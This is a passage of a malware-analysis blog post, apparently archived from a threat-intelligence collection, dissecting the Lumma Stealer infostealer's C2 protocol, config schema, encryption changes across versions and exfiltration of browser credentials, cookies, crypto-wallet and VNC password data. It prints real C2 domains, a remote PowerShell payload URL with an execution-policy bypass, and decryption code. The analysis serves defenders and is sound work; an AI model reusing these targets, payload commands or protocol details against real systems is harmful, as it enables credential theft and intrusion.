Stealer, I analyzed and decrypted\r\nthe network traffic of dozens of real-world samples. I observed that the response returned by the C2 server to the\r\nrecive_message command remained consistent across all cases, while the get_message response varied\r\ndynamically depending on the execution context.\r\nDuring this process, the blog post published by SpyCloud was particularly helpful. It initially confirmed several of\r\nmy assumptions and later provided additional technical insights that helped refine and complete the interpretation\r\nof each field.\r\nThe insights gained through this combined approach allowed me to formally define the following generalized\r\nschema:\r\nrecive_message\r\n{\r\n \"v\": 4,\r\n \"se\": true, // take a screenshot\r\n \"ad\": false, // delete self\r\n \"vm\": false, // language check\r\n // it's not checked if the browser is present and the extensions are sought for all browsers\r\n \"ex\": [ // browsers extension target\r\n {\r\n \"en\": \"...\", // extension address\r\n \"ez\": \"...\", // extension name\r\n \"ldb\": true, // optional: levelDB -\u003e used in Coinbase\r\n \"ses\": true // optional: session -\u003e used for OTP authenticators\r\n }\r\n ],\r\n \"mx\": [\r\n {\r\n \"en\": \"webextension@metamask.io\", // extension address (Firefox)\r\n \"ez\": \"MetaMask\", // extension name\r\n \"et\": \"\\\"params\\\":{\\\"iterations\\\":600000}\" // something related to encryption?\r\n }\r\n ],\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 23 of 36\n\n\"c\": [\r\n {\r\n \"t\": 0, // Steal_Clients\r\n \"p\": \"...\", // path to steal from\r\n \"m\": [\"...\"], // file extensions to steal\r\n \"z\": \"...\", // output dir to store stolen data\r\n \"d\": 1, // recursion depth level\r\n \"fs\": ... // maximum file size\r\n },\r\n {\r\n \"t\": 1, // Steal_Chromium_data (Chromium-based)\r\n \"p\": \"...\", // path to steal from\r\n \"z\": \"...\", // output dir to store stolen data\r\n \"f\": \"...\", // browser name\r\n \"n\": \"...\", // browser executable (for injection?)\r\n \"l\": \"...\" // browser DLL (for injection?)\r\n },\r\n {\r\n \"t\": 2, // Steal_Mozilla_data (Mozilla-based)\r\n \"p\": \"...\", // path to steal from\r\n \"z\": \"...\" // output dir to store stolen data\r\n },\r\n {\r\n \"t\": 4, // Steal_Registry_data\r\n \"p\": \"...\", // registry key path\r\n \"v\": \"...\", // value name\r\n \"z\": \"...\" // output file to store stolen data\r\n }\r\n ]\r\n}\r\nget_message\r\n[\r\n {\r\n \"ft\": ..., // 0 = exe = executed with CreateProcessW\r\n // 1 = dll = loaded\r\n // 2 = ps1 = exected with powershell -exec bypass ”%s”\r\n \"e\": ..., // 0 = execution behavior = LoadLibraryW\r\n // 1 = execution behavior = rundll32.exe\r\n \"d\": ..., // base64 payload data\r\n \"u\": ..., // url where the next step is stored\r\n }\r\n]\r\nDropped file decryption\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 24 of 36\n\nAs a concrete example, I refer to the analysis available at Any.Run, from which I extracted the decrypted content\r\nof the get_message response. The response, structured as a JSON array, includes a PowerShell script reference\r\nhosted remotely as well as an embedded payload still encoded in Base64 format:\r\n[\r\n {\r\n \"u\": \"https://arting.ee/cgi-bin/netsup_clean.ps1\",\r\n \"ft\": 2,\r\n \"e\": 0\r\n },\r\n {\r\n \"ft\": 1,\r\n \"e\": 1,\r\n \"d\": \"base64 string ...\"\r\n }\r\n]\r\nWithout further reversing the code responsible for decrypting these payloads, I reused the previously\r\nlumma_decryption() routine. The decrypted output of the Base64 string immediately revealed a valid PE file,\r\nwhich is indicated by the presence of the standard MZ and PE headers:\r\nMZ\\x00\\x01\\x00...This program cannot be run in DOS mode...PE\\x00\\x00...\r\nWhen saved as dropped.dll and examined with the file utility, the output confirmed its nature:\r\ndropped.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows\r\nAt the time of analysis, the hashes of the dropped DLL were not associated with any known samples in public\r\nthreat intelligence databases:\r\nSHA256: d795aeec6dedacf10f82dd31d69ea...\r\nMD5: 250098f7c58e2290a2056e00d0c5127b\r\nThis finding further confirms that Lumma Stealer can deliver new stages through encrypted get_message\r\nresponses.\r\nData Exfiltration\r\nThrough experimental analysis, it was observed that Lumma Stealer transmits the exfiltrated data in the form of\r\nZIP archives (identified by the magic number PK ) using multiple send_message requests. Each request differs\r\nby a single parameter: pid , which appears to categorize the exfiltration phase or the type of data sent. This pid\r\nfield effectively serves as a tag or classification label that helps organize the stolen information into logical\r\ngroups.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 25 of 36\n\nStill using the HTTPS server discussed in the previous sections, the following ZIP files were recovered, each\r\ncorresponding to different pid values:\r\n1. Chrome data — pid=2\r\n inflating: Chrome/dp.txt\r\n inflating: Chrome/Default/History\r\n inflating: Chrome/Default/Login Data\r\n inflating: Chrome/Default/Login Data For Account\r\n inflating: Chrome/Default/Network/Cookies\r\n inflating: Chrome/Default/Web Data\r\n inflating: Chrome/ab.txt\r\n inflating: Chrome/BrowserVersion.txt\r\n2. Edge data — pid=2\r\n inflating: Edge/dp.txt\r\n inflating: Edge/Default/History\r\n inflating: Edge/Default/Login Data\r\n inflating: Edge/Default/Web Data\r\n inflating: Edge/BrowserVersion.txt\r\n3. Firefox data — pid=3\r\n inflating: Mozilla Firefox/fqs92o4p.default-release/key4.db\r\n inflating: Mozilla Firefox/fqs92o4p.default-release/cert9.db\r\n inflating: Mozilla Firefox/fqs92o4p.default-release/cookies.sqlite\r\n inflating: Mozilla Firefox/fqs92o4p.default-release/places.sqlit\r\n4. User “Important Files” (e.g., .txt files on Desktop) — pid=1\r\n5. Software inventory and process list (e.g., Software.txt , Processes.txt ) — pid=1\r\n6. System information (e.g., System.txt , optionally Clipboard.txt , and Screen.png ) — pid=1\r\nBy analyzing network traffic collected from public sandboxes and from controlled local executions, in which\r\nspecific softwares was installed to reflect the targets defined in the configuration received via the\r\nrecive_message command, I was able to identify three main exfiltration categories associated with the pid\r\nparameter:\r\npid=2 : data from Chromium-based browsers and associated crypto or 2FA extensions\r\npid=3 : data from Mozilla Firefox and associated crypto or 2FA extensions\r\npid=1 : general system and user profiling (including screenshots, clipboard data, process lists, and\r\nsensitive documents)\r\nThis behavior suggests that Lumma Stealer adopts a modular approach to data exfiltration, where each category of\r\ninformation is sent in a separate and ordered way. This structure likely helps reduce the risk of detection and\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 26 of 36\n\nimproves the reliability of the operation.\r\nDynamic retrieve of new C2s\r\nDuring analysis of LummaC2 network traffic, it was observed that the malware contacts legitimate web services\r\nto retrieve additional information needed to continue its execution. One notable example involves accessing a\r\nSteam profile hosted at steamcommunity.com/profiles/76561199724331900 , which returned a public page\r\ncontaining the username xlcdslw-ksfvzg.nzx .\r\nInitially, the string xlcdslw-ksfvzg.nzx did not correspond to any known domain or recognizable token.\r\nHowever, its fully alphabetic composition and domain-like structure suggested it was lightly obfuscated rather\r\nthan strongly encrypted. By comparing the ciphertext with the decrypted result present in the network traffic\r\nmarshal-zhukov.com , it became clear that each character in the ciphertext corresponds to a plaintext character at\r\na fixed distance of 15 positions in the alphabet. For example:\r\nciphertext “x” maps to plaintext “m” (a backward shift of 15)\r\nciphertext “l” maps to plaintext “a” (again a shift of 15)\r\n...\r\nTo validate this hypothesis, all possible Caesar rotations (ROT-1 to ROT-25) were tested using a brute-force script\r\nthat systematically applies each rotation and looks for the marshal-zhukov.com domain in the output. Here is the\r\nscript and the output that confirms the use of ROT-15.\r\nUpdate 10/01/2025: Changed hardcoded domains decryption\r\nIntroduction\r\nThe following technical analysis focuses on a sample of Lumma Stealer retrieved from the MalwareBazaar\r\nplatform. All the techniques previously described in this blog post were applied to this variant. For the sake of\r\nbrevity, this section will focus exclusively on the differences and new findings specific to this sample.\r\nSince the communication mechanism remained unchanged in this version, the update was not analyzed\r\nimmediately. A more in-depth investigation was carried out only after March 6, 2025. As a result, some traces of\r\nthe subsequent update (such as the appearance of the uid string) are already present in this analysis. For clarity\r\nand consistency, these elements will only be mentioned briefly here and will be discussed in detail in the\r\nappropriate section dedicated to the newer version.\r\nDynamic analysis\r\nBy running the new sample in CAPEv2 with INetSim enabled, I was able to easily extract the command and\r\ncontrol (C2) domains used by the malware.\r\nThe first HTTP request is always made to the Telegram endpoint t.me/asdawfq , which is used to dynamically\r\nfetch a new C2 domain. The next requests, which represent the hardcoded C2s in the malware itself, are:\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 27 of 36\n\nastralconnec.icu/DPowko\r\nbegindecafer.world/QwdZdf\r\ngaragedrootz.top/oPsoJAN\r\nmodelshiverd.icu/bJhnsj\r\narisechaird.shop/JnsHY\r\ncatterjur.run/boSnzhu\r\norangemyther.live/IozZ\r\nfostinjec.today/LksNAz\r\nsterpickced.digital/plSOz\r\nFinally, two additional requests are directed to steamcommunity.com/profiles/76561199822375128 , which\r\nappears to serve as a fallback mechanism for dynamically retrieving C2 domains if the Telegram-based method\r\nfails.\r\nThis behavior shows a major change in how C2 endpoints are contacted. Instead of always using the static /api\r\npath as in earlier versions, the new variant uses dynamic and unpredictable URLs. This is likely intended to evade\r\npattern-based detection mechanisms.\r\nIdentifying the decryption routine\r\nThe image below illustrates the logical flow that led to the identification of a new decryption function in the\r\nanalyzed Lumma Stealer sample.\r\nUntil the call to the function at address 0x40da90 , the malware exclusively attempts to contact legitimate\r\nservices such as Telegram or Steam, with the goal of dynamically retrieving updated C2 domains. From this point\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 28 of 36\n\nonward, execution continues into the function located at 0x4113b0 , which immediately invokes a subroutine at\r\n0x411770 .\r\nThis subroutine retrieves the string uid , which, like the lid string previously observed, is hardcoded in the\r\n.rdata section of memory.\r\nNext, the function decodes the string Content-Type: application/x-www-form-urlencoded and proceeds to call a\r\nsubroutine at 0x40ef00 , responsible for de-obfuscating the user agent string. Following this step, the malware\r\ninvokes the standard Windows API WinHttpOpen() and then calls another function at 0x40fdc0 , which prepares\r\nthe necessary arguments before making a final call to the function at 0x40cd20 . For clarity, we refer to this last\r\nfunction as lumma_new_decryption() .\r\nThe function receives four arguments:\r\n1. a pointer to an initialization structure containing the string expand 32-byte k\r\n2. a pointer to a buffer that appears to be ciphertext, presumably the input to be decrypted\r\n3. a second buffer that is likely used as output\r\n4. the length of the input buffer\r\nNotably, the second argument points to the .rdata section, indicating that it likely contains hardcoded and\r\nencrypted domain names, as previously observed in earlier stages of the analysis.\r\nUnderstanding the Decryption Logic\r\nSalsa20 and Chacha20\r\nSalsa20 is a stream cipher designed by Daniel J. Bernstein in 2005. It operates on a 512-bit internal state\r\nstructured as a 4×4 matrix of 32-bit words. The matrix includes a 256-bit key, a 64-bit nonce, a 64-bit counter, and\r\na 128-bit constant: \"expand 32-byte k\".\r\nThis ASCII string is split into four 32-bit words and inserted into the matrix to distinguish the 256-bit key setup.\r\nFor 128-bit keys, the constant \"expand 16-byte k\" is used instead. The constant ensures unambiguous initialization\r\nand avoids collisions between different key lengths.\r\nThe cipher applies 20 rounds of simple operations (modular addition, XOR, and rotation) to generate the\r\nkeystream.\r\nChaCha20 is a modified version of Salsa20 that retains the same input structure (including the \"expand 32-byte k\"\r\nconstant) but changes the round function for better diffusion and resistance to attacks. It is now widely adopted in\r\nmodern cryptographic protocols.\r\nBoth Salsa20 and ChaCha20 initialize a 4×4 state matrix using the constant string \"expand 32-byte k\", followed\r\nby the key, a counter, and a nonce. The key difference is in the placement of the counter and nonce:\r\nSalsa20 places the counter in the middle and the nonce in the upper-right.\r\nChaCha20 places the counter in the lower-left and the nonce in the lower-right.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 29 of 36\n\nChacha20 proof\r\nAs shown in the following image, the memory dump observed during the analysis matches the ChaCha20 layout,\r\nincluding the constants, key, counter, and nonce positions. This strongly suggests the function implements\r\nChaCha20.\r\nAn important clarification: the presence of an 8-byte nonce and an 8-byte counter indicates that this corresponds\r\nto the original ChaCha20 construction, not the modern standardized variant defined in RFC 8439, which specifies\r\na 12-byte nonce and a 4-byte counter.\r\nTo confirm that the lumma_new_decryption() function actually implements the ChaCha20 cipher, the encrypted\r\ndata observed in memory was transferred to Python and decrypted using the official ChaCha20 library\r\nimplementation. As shown in the previously referenced image, the function is invoked with four arguments: an\r\ninitialization structure (containing the string expand 32-byte k ), the ciphertext buffer, an output buffer, and the\r\nciphertext length. A key detail to note is that, at the time the screenshot is taken, the internal counter is set to 2 .\r\nSince ChaCha20 is a stream cipher whose keystream generation is sensitive to the internal block counter, it was\r\nnecessary to simulate multiple decryption cycles to automatically increment the internal counter. This Python\r\nscript illustrates this approach. When the decryption routine is invoked the second time ( counter=2 ), the\r\nplaintext is recovered correctly, revealing the expected C2 domain astralconnec.icu/DPowko .\r\nThis experiment provides strong evidence that the function under analysis implements the ChaCha20 algorithm.\r\nUpdate 06/03/2025: Changed communication protocol = lumma v6.3\r\nIntroduction\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 30 of 36\n\nThe release of Lumma Stealer version 6.3 introduced significant changes to the malware's C2 communication\r\nprotocol. At first glance, the structure of the interaction appears significantly altered compared to the previous\r\nversion.\r\nOne of the most noticeable changes is the removal of the act parameter, which previously made it easier to\r\nidentify and differentiate the different communication phases. Additionally, the initial act=life step (used in\r\nprevious versions as a sort of \"ping\" of the server) has been removed. Communication now starts directly with\r\nwhat was previously known as act=recive_message , presumably to be more stealthy.\r\nThe updated structure of the three steps of the malware's C2 protocol can be summarized as follows:\r\nrecive_message :\r\nClient-side parameters: uid=...\u0026cid=... The uid parameter likely serves as a unique\r\nidentifier for the client that has purchased access to the Malware-as-a-Service (MaaS) infrastructure,\r\nreplacing the previous lid field.\r\nServer response: Encrypted data, now using a new encryption scheme (discussed in the following\r\nsections).\r\nsend_message :\r\nClient-side payload: Form data containing uid , pid , hwid , and a file encrypted using the new\r\nscheme.\r\nServer Response: JSON confirmation message indicating successful delivery of data, e.g.\r\n{\"success\":{\"message\":\"message success delivery from [IP-ADDR]\"}} .\r\nget_message :\r\nClient-side parameters: uid=...\u0026cid=...\u0026hwid=...\r\nServer Response: Encrypted data retrieved using the new encryption scheme.\r\nAlthough the format of the communication has been obfuscated, its logical structure remains largely intact. The\r\nprotocol still clearly separates the three main phases of the interaction. However, to identify whether a message\r\nmatches recive_message or get_message , it is now necessary to check for the presence or absence of the\r\nhwid parameter.\r\nIn the next sections I will look in detail at the new encryption scheme and all the various changes it brings.\r\nRetrieve configuration and commands\r\nTo replicate and analyze the behavior of the sample, I again captured the entire communication flow using\r\nCAPEv2 and implemented a Python HTTPS server that replayed, byte-for-byte, the responses associated with the\r\nrecive_message and get_message commands, as observed during the dynamic analysis.\r\nWhat makes this step of the analysis particularly noteworthy is that the execution path again reaches the\r\nlumma_new_decryption() function, previously discussed in detail. However, unlike the previous case involving\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 31 of 36\n\nthe decryption of hardcoded C2 domains, the decryption mechanism now features a crucial difference: both the\r\nkey and the nonce are directly derived from the ciphertext itself. This design choice is not entirely new in the\r\ncontext of Lumma Stealer; in fact, if we think about the previous version of the malware, where the XOR\r\ndecryption key (32 bytes) was located at the beginning of the ciphertext.\r\nIn the following image, the right terminal shows the output of the script used to emulate the responses recorded by\r\nCAPEv2, while the left shows x64dbg pausing just before the call to lumma_new_decryption() . As highlighted,\r\nthe first 32 bytes of the payload are extracted and used as the encryption key, followed by 8 bytes used as the\r\nnonce. The counter, however, is set to zero since the ciphertext is initialized for each ciphertext.\r\nAll the previous deductions regarding the ChaCha20-based decryption routine remain valid, with the only\r\ndifference being the way the ciphertext is initialized. The decryption method just discussed applies to responses\r\nreceived from both recive_message and get_message . To validate this behavior, I implemented a Python script\r\nthat replicates the decryption logic.\r\nExfiltrate stolen data\r\nDynamic analysis shows that the data exfiltration phase has also been updated: in fact, unlike previous versions,\r\nthe ZIP file is no longer visible in clear text within the traffic, but is encrypted in some way.\r\nOnce again we return to the invocation of the same function lumma_new_decryption() , which in this context is\r\nused to encrypt (and not decrypt) the data to be sent. It is worth remembering that ChaCha20 is a symmetric\r\nstream cipher: it uses the same algorithm for both encryption and decryption. In fact, ChaCha20 applies a XOR\r\noperation between the data to be encrypted and a pseudo-random stream generated from a key and a nonce.\r\nThe image below clearly highlights the parameters provided as input to the function.\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 32 of 36\n\nThe second argument, corresponding to the buffer to be encrypted, contains a ZIP archive, as confirmed by the\r\npresence of the magic number PK . This suggests that the structure of the exfiltrated file has not been altered by\r\nthis update: what changes is only the way the content is protected through encryption.\r\nThe first parameter instead shows the initialization of the cipher, containing the key and the nonce used to\r\ngenerate the ChaCha20 stream.\r\nFinally, in the terminal on the right, the output of the Python script used to emulate an HTTPS server is visible.\r\nNote how, in this phase, unlike the decryption of the command configurations, the key and the nonce are not\r\nplaced at the beginning, but at the end of the encrypted payload.\r\nUpdate 01/04/2025: Strings encryption\r\nRetrieved configuration strings are also encrypted\r\nIn this update, a change has been observed in the handling of commands sent by the C2 server in response to the\r\nrecive_message command. In previous versions, the content of the JSON file sent by the server (after decryption\r\nwith XOR or ChaCha20) was cleartext, as in the following example (simplified for clarity):\r\n{\r\n \"v\": 4,\r\n \"se\": true,\r\n \"ad\": false,\r\n \"vm\": false,\r\n \"ex\": [...],\r\n \"mx\": [\r\n {\r\n \"en\": \"webextension@metamask.io\",\r\n \"ez\": \"MetaMask\",\r\n \"et\": \"\\\"params\\\":{\\\"iterations\\\":600000}\"\r\n }\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 33 of 36\n\n],\r\n \"c\": [...]\r\n}\r\nIn newer versions, all text values are encrypted instead. Here is a representative example of the mx section:\r\n{\r\n \"v\": 4,\r\n \"se\": true,\r\n \"ad\": false,\r\n \"vm\": false,\r\n \"ex\": [...],\r\n \"mx\": [\r\n {\r\n \"en\": \"Ci1CgzXEg0F9LSeDV8TmQXItNoNQxO1BeS0rg1rE7UFKLS+DUMT3QWstL4NUxPBBYS1sg1zE7EE=\",\r\n \"ez\": \"Ci1CgzXEg0FHLSeDQcTiQUctI4NGxOhB\",\r\n \"et\": \"Ci1CgzXEg0EoLTKDVMTxQWstL4NGxKFBMC05gxfE6kF+LSeDR8TiQX4tK4NaxO1BeS1ggw\\\\/EtUE6LXKDBcSzQTotP4M=\"\r\n }\r\n ],\r\n \"c\": [...]\r\n}\r\nBy decoding the strings in base64, we obtain binary data, which has an interesting feature: the first 8 bytes of each\r\nencrypted blob are identical, suggesting that these constitute the key used for a symmetric XOR operation (similar\r\nto the decryption of the configurations with lummav4).\r\nencs = [\r\n b\"\\n-B\\x835\\xc4\\x83A}-'\\x83W\\xc4\\xe6Ar-6\\x83P\\xc4\\xedAy-+\\x83Z \\xc4\\xedAJ-/\\x83P\\xc4\\xf7Ak-/\\x83T\\xc4\\xf0Aa-l\\\r\n b\"\\n-B\\x835\\xc4\\x83AG-'\\x83A\\xc4\\xe2AG-#\\x83F\\xc4\\xe8A\",\r\n b\"\\n-B\\x835\\xc4\\x83A(-2\\x83T\\xc4\\xf1Ak-/\\x83F\\xc4\\xa1A0-9\\x83\\x17\\xc4\\xeaA~-'\\x83G\\xc4\\xe2A~-+\\x83Z\\xc4\\xedAy-\r\n]\r\nA quick implementation to see if it works or not:\r\nfor enc in encs:\r\n key = enc[:8] * 10\r\n xored = bytearray([enc[i] ^ key[i] for i in range(len(enc))])\r\n # null (`\\x00`) byte removal, presumably introduced as padding\r\n dec = [bytes([i]) for i in xored.strip(b\"\\x00\") if bytes([i]) != b\"\\x00\"]\r\n print(b\"\".join(dec).decode(\"utf-8\"))\r\nDecrypted output:\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 34 of 36\n\nwebextension@metamask.io\r\nMetaMask\r\n\"params\":{\"iterations\":600000}\r\nTo generalize this intuition I wrote a Python script that decrypts the entire json file. Below I report the additions\r\nmade between version 4 and version 6.3 (at the latest update) of the json file:\r\nBrowser extension:\r\nBlade Wallet ( abogmiocnneedmmepnohnhlijcjpcifd )\r\nFolders:\r\n%appdata%\\Armory → *.wallet\r\n%appdata%\\gcloud → *.db , *.json\r\n%localappdata%\\.IdentityService → msal.cache , msalv2.cache\r\nUltraVNC → ultravnc.ini from %programw6432% and %programfiles%\r\nRegistries:\r\n\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\TightVNC\\\\Server → Password\r\n\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\TightVNC\\\\Server → ControlPassword\r\n\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\RealVNC\\\\vncserver → Password\r\n\\\\REGISTRY\\\\CURRENT_USER\\\\Software\\\\TigerVNC\\\\WinVNC4 → Password\r\nDropped file decryption\r\nAs discussed in the namesake section from version 4, the previous method consisted of Base64 decoding followed\r\nby an XOR operation using a 32-byte key prepended to the ciphertext. This approach was also used to decrypt\r\nnetwork communications in Lumma Stealer v4.\r\nFollowing the update to the encrypted strings in the configuration file retrieved via the recive_message\r\ncommand, the same encryption method has now been also applied to the dropped files received through the\r\nget_message command. Notably, the key has been reduced to just 8 bytes.\r\nLumma Stealer seen from the Certego perspective\r\nCertego detects Lumma Stealer through a combination of signature-based detection via IDS, behavioral\r\nmonitoring of endpoints via EDR, and threat intelligence correlation based on known indicators and campaign\r\ncharacteristics. Despite its widespread distribution, Lumma poses limited risk to enterprise companies that are\r\nproperly protected by a proactive, first-class MDR system.\r\nLumma Stealer has shown minimal impact on our Customers using PanOptikon® platform. To date, we have only\r\nseen 17 cases involving this malware specifically. Its limited presence is consistent with its low effectiveness in\r\nenterprise environments, where enterprise-level endpoint protection, EDR, and network-level defenses - together\r\nwith Certego services - significantly reduce its success rate.\r\nWhat we observed is that when corporate credentials compromised by Lumma do surface, they typically originate\r\nfrom personal devices. In several cases, employees had saved work credentials in browser password managers on\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 35 of 36\n\ntheir home computers, which were subsequently infected by Lumma or similar stealers such as RedLine, leading\r\nto enterprise credential compromise, along with personal ones.\r\nA personal consideration\r\nIt is worth noting that in the transition from version 4 to version 6.3, the threat actor first modified the decryption\r\nmethod used for hardcoded C2 domains and later applied the same method to the communication protocol. In a\r\nsimilar way, the decryption routine from version 4, which was based on Base64 decoding followed by an XOR\r\noperation, was reused to encrypt the strings contained in the JSON structures of the recive_message and\r\nget_message commands, although with a reduced key length.\r\nFrom a defensive perspective, this reuse and redistribution of known logic greatly simplifies the analysis process\r\nand makes the malware's future behavior more predictable. If a future update is released, it is reasonable to expect\r\nthat the decryption method for hardcoded C2 domains will be changed first. Then, after approximately two to\r\nthree months, the same technique will likely be applied to the communication logic, with some structural\r\nadjustments. The previously used method may still be employed in secondary or less critical components as string\r\nencryption.\r\nFinal Remarks\r\nThis analysis was conducted between October 2024 and April 2025. During this period, we chose not to publish\r\nany preliminary blog posts, as revealing technical details about Lumma Stealer could have prompted its\r\nadministrators to release an updated version. Such a change would have significantly hindered the progress of the\r\nthesis work. The full thesis, which documents the analysis and the development of the associated framework, will\r\nbe published shortly and linked at the top of this blog post.\r\nSource: https://certego.github.io/website/blog/lummastealer/\r\nhttps://certego.github.io/website/blog/lummastealer/\r\nPage 36 of 36\n\n   https://certego.github.io/website/blog/lummastealer/    \nThe .open section lacks any meaningful code references, apart from a pointer in the PE header. Again this\nbehavior is typical of packed binaries, where custom sections are mapped but only accessed during runtime\nunpacking.       \n   Page 7 of 36   \n\nConnection: Content-Type: Keep-Alive application/x-www-form-urlencoded  \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nBody: act=life  \nServer   \nHeaders:   \nContent-Type: text/html; charset=UTF-8 \nTransfer-Encoding: chunked  \n   Page 15 of 36",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://certego.github.io/website/blog/lummastealer/"
	],
	"report_names": [
		"lummastealer"
	],
	"threat_actors": [],
	"ts_created_at": 1777949158,
	"ts_updated_at": 1777949197,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d2361cdf38657bd6042dda946cb31d542a894e81.pdf",
		"text": "https://archive.orkl.eu/d2361cdf38657bd6042dda946cb31d542a894e81.txt",
		"img": "https://archive.orkl.eu/d2361cdf38657bd6042dda946cb31d542a894e81.jpg"
	}
}